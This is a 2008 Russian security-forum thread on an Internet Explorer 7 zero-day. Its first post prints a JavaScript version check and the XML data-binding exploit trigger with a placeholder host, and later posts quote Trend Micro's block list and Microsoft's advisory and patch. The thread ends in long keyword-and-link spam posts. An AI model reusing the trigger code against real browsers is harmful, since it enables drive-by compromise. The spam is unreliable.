Перейти к содержанию
vaber

0-day - уже используется уязвимость в IE7

Recommended Posts

vaber

На китайских серверах стали активно использовать зиродей - эксплоит, который пробивает IE7 под XP и 2003 со всеми заплатками на текущий момент. Фикс пока нету.

Проверка версий браузера и венды:

nav=navigator.userAgent.toLowerCase();if(navigator.appVersion.indexOf('MSIE')!=-1){version=parseFloat(navigator.appVersion.split('MSIE')[1])}if(version==7){w2k3=((nav.indexOf('windows nt 5.2')!=-1)||(nav.indexOf('windows 2003')!=-1));wxp=((nav.indexOf('windows nt 5.1')!=-1)||(nav.indexOf('windows xp')!=-1));if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://ЧЧЧ src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');var i=1;while(i<=10){window.status=" ";i++}}

Бинарник, который загружается на систему в закрытой ветке...возможно и полный код эксплоита будет выложен :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Deja_Vu

Эм ... а зачем статусная строка нулится 10 раз? %)

что-то мне кажется излишнего кода много -))

разве не это должно проить эксплорер?

<![CDATA[<image SRC=http://ЧЧЧ src=http://www.google.com]]>

8-ка не пробивается -))

странно ... оказывается лишнего ничего нет -))

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
vaber
разве не это должно проить эксплорер?

Я привел лишь часть кода эксплоита :). Скоро будет весь, может завтра выложу.

Чуть информации о эксплоите есть тут:

http://www.securitylab.ru/analytics/364556.php

Я и привел код определения версий по подобию скрина на секлабе.

З.Ы. У меня 999 сообщений - завтра будет праздник =))

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
p2u
В качестве временного решения SecurityLab рекомендует отключить в браузере Active Scripting.

Вот это меня радует (кроме слова 'временного')... :)

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
K_Mikhail
Я привел лишь часть кода эксплоита :). Скоро будет весь, может завтра выложу.

Он и так в открытом доступе опубликован теми же китайцами. Вместе с \ko.exe ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин

Комментарий компании Trend Micro:

10 декабря, в 2:06 лаборатория TrendMicro (TrendLabs) получила отчет об обнаружении атаки нулевого дня в китайском форуме. Этот пакет продавался в китайских подпольных организациях. Эксплоит использовал Heap Spray на SDHTML который поражает следующую платформу:

Internet Explorer 7.0 (7.0.5730.13)

Windows XP / Windows 2003

После вторжения вредоносные программы загружают следующие ссылки: wwwwyyyyy.cn и wwwwyyyyy.cn.

На момент возникновения проблемы у Microsoft не было патчей к этому эксплоиту.

Решение

В качестве превентивной меры необходимо заблокировать следующие домены на межсетевом экране или прокси - сервере:

cc4y7.cn {BLOCKED}

wwwwyyyyy.cn {BLOCKED}

qqqqttrr.cn {BLOCKED}

www-onlinedown.com {BLOCKED}

hxxp://wieyou.com/iiee/explore.exe {BLOCKED}

hxxp://baidu.bbtu001.com {BLOCKED}

sllwrnm5.cn {BLOCKED}

Более подробную информацию можно получить на сайте http://www.trendmicro.com/vinfo/virusencyc...JS%5FDLOAD%2EMD

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
p2u

Также вдогонку:

Оказывается, что не только IE7 уязвим, но также IE5, IE6, и IE8 Beta (послендий на ВСЕХ версиях Windows).

Microsoft: IE5, IE6 Also Affected by Browser Vulnerability.

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Deja_Vu
Также вдогонку:

Оказывается, что не только IE7 уязвим, но также IE5, IE6, и IE8 Beta (послендий на ВСЕХ версиях Windows).

Microsoft: IE5, IE6 Also Affected by Browser Vulnerability.

Paul

У меня восьмерка почему то не пробилась... какая бета использовалась?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
p2u
У меня восьмерка почему то не пробилась... какая бета использовалась?

Microsoft не говорит, что вышестоящий код сработает в IE8. Возможно надо модифицировать его немного. Речь шла о Beta2; там, кажется, такая же уявизмость...

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Сергей Ильин

Вот официальный комментарий-предупреждение от Microsoft.

**************************

На данный момент нам известно только об ограниченном количестве атак такого типа. Также наше расследование показало, что эти атаки неэффективны против пользователей, которые применили рекомендации из опубликованного Бюллетеня Microsoft по безопасности (961051). Посредством известных в настоящее время атак автоматически воспользоваться этой уязвимостью через электронную почту - невозможно.

Дополнительные факторы, снижающие опасность

• Используйте Защищенный режим браузера Internet Explorer 7 в системе Windows Vista и установите уровень безопасности для зон Интернет и Интранет в значение «Высокий»

• По умолчанию обозреватель Internet Explorer в системах Windows Server 2003 и Windows Server 2008 работает в ограниченном режиме, называемом Конфигурация усиленной безопасности. В этом режиме для уровня безопасности зоны Интернет устанавливается значение "Высокий". Это один из факторов, снижающих опасность уязвимости веб-узлов, которые не добавлены в зону "Надежные узлы" обозревателя Internet Explorer. Дополнительные сведения о конфигурации усиленной безопасности обозревателя Internet Explorer см. в подразделе "Часто задаваемые вопросы" раздела, посвященного данной уязвимости.

• Не используйте без необходимости учетную запись с повышенными правами (напр. Администратор). Злоумышленник, успешно воспользовавшийся данной уязвимостью, может получить те же самые права, которые имеет локальный пользователь. Риск для пользователей, учетные записи которых имеют ограниченные права, меньше, чем для пользователей, работающих с правами администратора.

Подробности:

На данный момент расследование показало, что ограниченное количество атак производилось только против Windows Internet Explorer 7 на поддерживаемых версиях Windows XP Service Pack 2, Windows XP Service Pack 3, Windows Server 2003 Service Pack 1, Windows Server 2003 Service Pack 2, Windows Vista, Windows Vista Service Pack 1 и Windows Server 2008.

Microsoft Internet Explorer 5.01 Service Pack 4, Microsoft Internet Explorer 6 Service Pack 1, Microsoft Internet Explorer 6 и Windows Internet Explorer 8 Beta 2 на всех поддерживаемых версиях Microsoft Windows пока расцениваются как потенциально уязвимые.

Уязвимость представляет собой некорректный указатель в функции привязки данных в Internet Explorer. В случае, если функция привязки данных включена (что является состоянием «по умолчанию»), при определенных обстоятельствах, возможно, что объект будет высвобожден без изменения длинны массива, оставляя возможность доступа к области памяти, ранее используемой удаленным объектом. Это может вызвать неожиданное завершение программы Internet Explorer, и её переход в состояние, которое потенциально уязвимо. Мы активно работаем с нашими партнерами программ Microsoft Active Protections Program (MAPP) и Microsoft Security Response Alliance (MSRA), чтобы оперативно предоставлять информацию разработчикам ПО для обеспечения информационной безопасности и обеспечить защиту максимальному количеству пользователей.

Бюллетень Microsoft по безопасности (954462) предоставляет информацию об инструментах, которые вы можете использовать для анализа кода вашего веб-узла на предмет уязвимостей, связанных с внедрением SQL кода (SQL Injection attacks).

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
p2u

Ссылок уже много было в данной теме, но хочу подчеркнуть, что корпорация Майкрософт также проверила представленные по ссылке методы обхода проблемы (workarounds). Хотя данные меры не устраняют саму уязвимость, они позволяют надёжно блокировать известные направления атак и касаются именно работы с библиотекой OLEDB32.DLL:

http://www.microsoft.com/rus/technet/secur...ory/961051.mspx

(в середине страницы)

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
p2u

Microsoft выпустила патч. Для тех, у которых автоматические обновления не стоит на Авто:

Microsoft Security Bulletin MS08-078 - Critical; Security Update for Internet Explorer (960714)

Выберите свою ОС и не забудьте переключить язык.

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001

В прошедший вторник на Windows Update было размещено декабрьское накопительное обновление безопасности для Internet Explorer. В дополнение к Windows Update вы можете загрузить это и другие обновления к продуктам Microsoft через Microsoft Update.

Данное обновление устраняет четыре уязвимости, приводящие к удаленному исполнению произвольного кода, путем изменения метода обработки Internet Explorer параметров и обработки результатов, которые приводят IE в уязвимое состояние. За более детальной информацией по поводу данного обновления следует обратиться к следующей документации:

Бюллетень безопасности MS08-073

Статья базы знаний 958215

Данное обновление имеет статус критического для IE 5.01, 6 SP1 в Microsoft Windows 2000; IE 6 в Windows XP и IE 7. Новые бета-версии Internet Explorer уязвимостям не подвержены.

Обновления безопасности для Internet Explorer - накопительные, поэтому они включают все ранее выпущенные обновления для каждой из версий Internet Explorer.

Настоятельно рекомендуем всем пользователям Internet Explorer загрузить это и другие обновления через Windows Update или Microsoft Update. Пользователям Windows рекомендуем настроить Windows Update на автоматическую установку обновлений для продуктов Microsoft.

Terry McCoy,

программный менеджер по безопасности Internet Explorer

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001

Ещё Admin какой-то патч упомянул вот тут, но без ссылки.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
MiStr

Уязвимость настолько серьёзная, что Microsoft даже сделала спецбаннер на главной странице своего сайта:

ie7_urgent_update.jpg

post-3670-1229717841_thumb.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
p2u
Уязвимость настолько серьёзная, что Microsoft даже сделала спецбаннер на главной странице своего сайта:

Реклама для Gear Wars 2 рядом немного глупо выглядит в данном контексте:

'Время взять реванш'... :)

Paul

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Создайте учетную запись или войдите, чтобы комментировать

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти

  • Сообщения

    • Bryanaqual
      где в интернет магазинах россии можно купить элитную декоративную косметику туш для ресниц Аминьевское шоссе где можно купить косметику la roche-posay в калининграде корейская косметика воронеж иннисфри блест для губ Волгоградский проспект гобелен москва косметичка где купить косметику биокон в москве итальянские сумки gianni conti купить в интернет магазине косметику виши в екатеринбурге в каких магазинах купить косметику collistar в москве консультант косметика москва купить никс косметику купить косметику для девочек набор Клатч Площадь Ильича косметика с украинским переводом москва

      beautier by glova international отзывы http://optdetal.ru/forum/user/14090/ где купить профессиональную косметику в магазинах города кемерово http://www.konniydon.ru/communication/forum/user/313734/ http://ruscigars.ru/forum/?PAGE_NAME=profile_view&UID=13042 корейская косметика sweetness http://journal-gorproekt.ru/forum/user/60632/ http://mag.e-gorod.ru/communication/forum/index.php?PAGE_NAME=profile_view&UID=19003 тони моли корейская косметика оптом купить профессиональную косметику для визажа в рб итальянские сумки с апликациями животных vanessa di gregorio pescara купить профессиональную косметику спб корейскаядекоративная косметика корея опт москва итальянские сумки луи виттон где купить косметику mila d opiz в москве корейская косметика в армении 4088 di gregorio сумочки через плечо женские недорого косметика Рижская купить косметику черный жемчуг в москве Клатч Октябрьское поле купить декоративную косметику российскую

      где купить косметику братц где купить косметику планета органика в марьино итальянские сумки интернет магазин купить интернт магазин косметика лореаль москва купить сумку Красные ворота косметика alessandro официальный дистрибьютер москва стильные женские аксессуары опт тон для губ Алабяна улица где купить косметику dermaquest в москве мужская сумка di gregorio

      туристическая поездка в тайланд видио http://aop.in.ua/communication/forum/index.php?PAGE_NAME=profile_view&UID=50228 где купить косметику пупа в москве в магазине http://magfitpro.ru/communication/forum/user/25120/ http://xn--80axf4a.xn--p1ai/communication/forum/user/44155/ tonymoly pandas dream brightening eye base 9g отзывы http://avtourist77.ru/forum/user/16643/ cromia отзывы http://ananasspb.ru/communication/forum/user/12210/ сумки итальянские unicorn косметика для солярия солео стикини оптом москва косметика Армянский переулок где можно купить оптом косметику мас накед корейская косметика the saem косметику декоративная купить купить детскую косметику монстер хай в екатеринбурге виды женская косметика где в минске можно купить косметику paul mitchell CROMIA Маяковская купить косметику источник жизни где купить косметику тоника косметика galan купить москва купить косметику аурелия в москве косметика белла можно ли эту косметику купить в мари кей

      женские наручные часы fossil es2830 японские часы sinobi мужские наручные часы купить наручные часы omax наручные часы от 50 рублей часы наручные мужские q q ка80j001y
    • Bryanaqual
      купить сумку cromia в украине купить декаративную косметику где купить косметику fflieur в красноярске купить косметику питер new thread купить профессиональную косметику ателье для визажистов косметика ветка сакуры москва купить в москве косметику орлан где купить косметику миранды керр женский кошелек kanier женские сумочки доставка почтой по россии женские сумочки кашпо купить косметику стикс в киеве магазин итальянские сумки редмонд сп корейская косметика gmarket купить косметику енка

      кошелек женский империя сумок каталог http://www.autorenter.ru/forum/index.php?PAGE_NAME=profile_view&UID=69685 где купить косметику волос http://kskdts.ru/page5.php?PAGE_NAME=profile_view&UID=17511 https://zogel.ru/forum/index.php?PAGE_NAME=profile_view&UID=2278 купить профессиональную косметику в интернет магазине недорого http://minfin.admoblkaluga.ru/sub/finan/forum/?PAGE_NAME=profile_view&UID=409846 http://xn--80aaiunencbyldg5b5bzc9c.xn--p1ai/about/forum/user/98699/ корейская косметика картинки купить косметику кора в новосибирске вакансии продавец-консультант косметика москва где купить профессиональную косметику alterna и kydra торговый представитель косметика вакансии москва купить косметику черный жемчуг оптом какую косметику купить в тайланде паттайя gianni di gregorio купить косметику авон в интернете купить косметику artdeco в саратове купить плетеную сумку из соломки москва женский кошелек hermes корейская косметика в подружке магазины в санкт-петербурге, где можно купить косметику yago лак для волос Филевский парк

      тон для лица Акулово посёлок купить заказать косметику туш для ресниц Асеева улица купить на северо-западе москвы косметику кора недорогая брендовая косметика заказать наложенным платежом где купить косметику чаровница где в сочикупить косметику vov obagi nu derm купить косметику итальянские сумки и аксессуары белорусская косметика, купить косметику из беларуси

      туроператор в тайланд из екатеринбурга http://www.dairynews.ru/forum/?PAGE_NAME=profile_view&UID=30115 кошелек женский кожа страуса http://orienthome.ru/forum/user/58600/ http://e-s-c.ru/forum/user/13608/ где можно купить белорусскую косметику оптом https://krasnoyarsk.finestra.biz/forum/user/6748/ tonymoly pureness 100 mask sheet http://schoolpress.ru/communication/forum/index.php?PAGE_NAME=profile_view&UID=85043 tonymoly wonder water moisture craem женский кошелек бренд купить профессиональную косметику в новосибирске где в москве купить косметику из израиля купить косметику жернетик в спб сумки белорусско-итальянские женский маленький кошелек купить корейская косметика каталог 2014 коньково косметика виталайнмосква, метро коньково, ул.островитянова prada женский кошелек купить косметику из мексики купить косметику для волос голдвелл купить японскую косметику в интернет магазине где купить профессиональную косметику ренофаз профессиональная косметика инструменты для коррекции бровей москва

      мужские швейцарские наручные часы сон разбитые наручные часы q q часы наручные цена ролекс наручные часы часы наручные женские золотые купить украина
    • Bryanaqual
      невская косметика москва купить купить косметику кристина в казахстане итальянские сумки гретта каталог купить косметику счастье жизни купить косметику ив сен бернард в интернет магазине где купить косметику кливен в минске купить косметику плазан в украине купить кошелек женский недорого шанель кошелек женский бирюзовый косметика merck exfoliac москва пудра для лица Филевский парк корейская косметика красноярск купить стильные женские аксессуары где в челябинске купить косметику доктор нона купить косметику для мальчиков

      кошелек женский магазины http://kppg-sar.ru/forum/user/6569/ косметика для собак ив сен бернар москва http://parus-perm.ru/communication/forum.php?PAGE_NAME=profile_view&UID=3397 http://xn--j1aadhdbbpr7hb.xn--p1ai/forum/?PAGE_NAME=profile_view&UID=78771 асахи и корейская косметика https://mgbot.ru/forum/user/4351/ http://sp-box.ru/good_cause/?PAGE_NAME=profile_view&UID=56553 hermitage москва косметика кошелек мужской Пионерская корейская косметика бестселлеры итальянские сумки ди григорио в украине купить косметику аравия в интернет магазине тени для век Савеловская Маска-патч для губ Охотныйряд tonymoly dear me petite cotton бб крем отзывы сумка di gregorio 6199-g как купить косметику ив роше женский кошелек даяна avon купить барсетку Александровский сад make купить косметику купить итальянскую сумку кошелек женский киев купить профессиональную косметику в алматы бу

      корейская косметика syn-ake купить оптом люксовую косметику купить косметичку Аннино купить косметику bb купить косметику inglot через интернет корейская косметика каталог интернет магазин без предоплаты купить косметику для собак plush puppy в санкт-петербурге купить косметику красная линия в минске bursitis subacromial treatment корейская косметика vov отзывы о марках

      где лучше в тайланде в октябре http://xn----jtbnobglp7a.xn--p1ai/forum/user/22826/ купить косметику эриксон лаборатория links http://xn--80auehs.xn--p1ai/communication/forum/user/44155/ http://b-buh.ru/communication/forum/user/3718/ купить косметику интернет guestbook http://z-prime.ru/forum/user/3377/ ББ крем Щелковская http://socportal.ru/forum/?PAGE_NAME=profile_view&UID=24869 купить косметику белита витэкс где купить косметику для ламинирования карандаш для бровей Академика Миллионщикова улица женские аксессуары оптом и новогодние подарки мужчинам DI GREGORIO Амбулаторный переулок где купить косметику дермофил где купить косметику летуаль в воронеже купить косметику dior со скидкой помада для губ Автозаводская улица как купить косметику cinecitta купитьженский кожаный кошелек симферополь купить косметику криолан киев DI GREGORIO Ананьевский переулок итальянские женские сумки интернет магазин пудра для лица Антонова-Овсеенко улица

      батарейка на наручные часы часы наручные своими руками мастер класс купить недорого часы наручные женские как правильно открывать наручные часы часы наручные электронные титановый корпус
    • Bryanaqual
      купить профессиональную косметику для лица в минске где купить косметику для волос paul mitchell пользуется ли спросом корейская косметика где купить олей косметику где купить косметику мак в киеве солевая грелка-маска для лица москва Клатч Академика Скрябина улица shoulder arthroscopy with subacromial decompression and acromioplasty тон для губ Авиаконструктора Яковлева улица где купить косметику mediscrin nars косметика москва купить косметику revlon украина лак для ногтей Академика Миллионщикова улица косметика для волос Аргуновская улица купить косметику mixit в сочи

      корейская косметика all in one в тд весна в москве http://www.saltikovka.ru/forum/user/176751/ тон для лица Арбатская (Филевская линия) http://rus-student.ru/forum/user/791450/ http://xn--80aairftmb0a5c.xn--p1ai/forum/?PAGE_NAME=profile_view&UID=24869 тон для лица Белорусская http://www.belduma.ru/contact/forum/?PAGE_NAME=profile_view&UID=13020 http://xn--80aacdcpcxy0b1bzf.xn--p1ai/forum/?PAGE_NAME=profile_view&UID=179507 итальянские сумки с принтом в санкт-петербурге корейская косметика missha спб купить готическую косметику wwwboard cgi киев купить косметику balea купить косметику грин мама в украине купить косметику ручной работы минск корейская косметика итс скин отзывы корейская косметика от темных кругов где дешевле купить косметику мас cromia магазин в москве tonymoly shiny foot super peeling liquid отзывы кошелек женский недорого купить косметику green line tonymoly latte art cappuccino cream in scrub arcradr женские аксессуары для авто украина

      купить косметику artdeco в украине брендовая косметика Царицыно subacromial bursitis images DI GREGORIO Монорельсовой дороги Тимирязевская cromia косметички лак для ногтей Академика Петрова площадь сумки итальянские ди григорио белая Крем для кожи Антонова-Овсеенко улица coracoacromial ligament repair купить косметику мас оптом

      тюмень тайланд туроператоры https://yenashop.ru/forum/index.php?PAGE_NAME=profile_view&UID=8241 тон для лица Академика Сахарова проспект http://golovastik.by/forum/user/17593/ http://www.orion-project.ru/communication/forum/user/36219/ где купить дешевую косметику оптом в бангкоке http://oculist.pro/forum/user/6665/ Крем для кожи Андреево-Забелинская улица http://xn--80aesdpkapeejc.xn--p1ai/forum/user/752225/ итальянские кожаные сумки косметика для волос Спартак купить элитную косметику лореаль где купить косметику глорион Крем для кожи Щелковская карандаш для бровей Фрунзенская купить косметику olivelia парфюмерия и косметика оптом склады москва купить косметику сша гидропептид купить косметику цептер в одессе итальянские сумки купить в украине купить косметику mac в интернет-магазине украина косметика chi продажа москва kiss my face косметика москва купить косметику эриксон лаборатория article

      наручные часы guess dress steel i12553g4 наручные часы мобильный телефон gsm где в киеве можно купить наручные часы наручные часы мужские emporio armani наручные часы с белым корпусом и белым браслетом
    • Bryanaqual
      ключница Академика Волгина улица женские украшения бижутерия аксессуары где купить косметику п кошелек женский deckas paris коричневфй тон для лица Кожуховская Крем для кожи Парк Победы где в питере купить белорусскую косметику где в полтаве можно купить косметику natura siberica купить косметику Планерная купить косметику виши волгоград кошелек мужской Александра Невского переулок vov косметика москва где купить купить косметику meitan купить косметику капус в минске Dolci Capricci Аминьевский мост

      купить в киеве косметику фирмы сано израиль http://leninogorsky.ru/forum/user/43752/ поставщик косметика корейская купить http://intellect-audit.ru/forum/?PAGE_NAME=profile_view&UID=7273 http://test.sozapag.ru/forum/user/6891/ купить профессиональную косметику ericson laboratoire москва http://agroeco.su/communication/forum/user/51676/ http://trezveyu.ru/forum/index.php?PAGE_NAME=profile_view&UID=17278 купить косметику эйвон недорого купить оптом косметику лореаль лицензия набор для ламинирования ресниц beautier купить косметику крупным оптом итальянские сумки blumarine wr-040 женский кошелек из кожи купить косметику бабор в германии москва магазины mac косметика купить косметику la mer в москве туш для ресниц Академика Курчатова площадь where is the subacromial bursa located косметичка umbro москва купить израильскую косметику в интернет магазине украина где можно купить косметику арт визаж в санкт-петербурге купить косметику эссенс в интернет магазине наложенным платежом

      лунифера корейская косметика интернет магазин москва как правильно выбирать женский кошелек купить профессиональную косметику для волос альцина где купить профессиональную декоративную косметику в самаре купить косметику волос bes пудра для лица Арбат улица hermes купить женский кошелек купить косметику эстель оптом во владимирской области женский супер кошелек женские аксессуары по низкой цене

      тайланд горящие туры из москвы с 19 января http://optdetal.ru/forum/user/14090/ блест для губ Академика Павлова улица http://hobbitshop.ru/communication/forum/user/21768/ http://ineufa.ru/communication/forum/user/12697/ где купить косметику academie в н новгороде http://old.lesaffre.ru/communication/forum/index.php?PAGE_NAME=profile_view&UID=19435 где в киеве можно купить косметику essence http://www.aqwella.ru/communication/forum/user/10528/ кошелек женский подарки для всех маска для лица Международная купить женский кошелек givenchy Клатч Бульвар адмирала Ушакова мусс для укладки Печатники купить прикольный мужской кошелек москва купить женский кошелек мано женский кошелек красный лак купить косметику мак в туле косметичка купить москва магазин аксесс корейская косметика it's skin женские рюкзаки сумочки корейская косметика купить в челябинске лакированный женский красный кошелек dior оптовик москва 2006 косметика cliniql

      наручные женские часы мос мужские японские наручные часы casio efa-120d-1a наручные мужские часы мраморные наручные часы romanson adel powered by phpbb дорогие наручные часы брейтлинг
×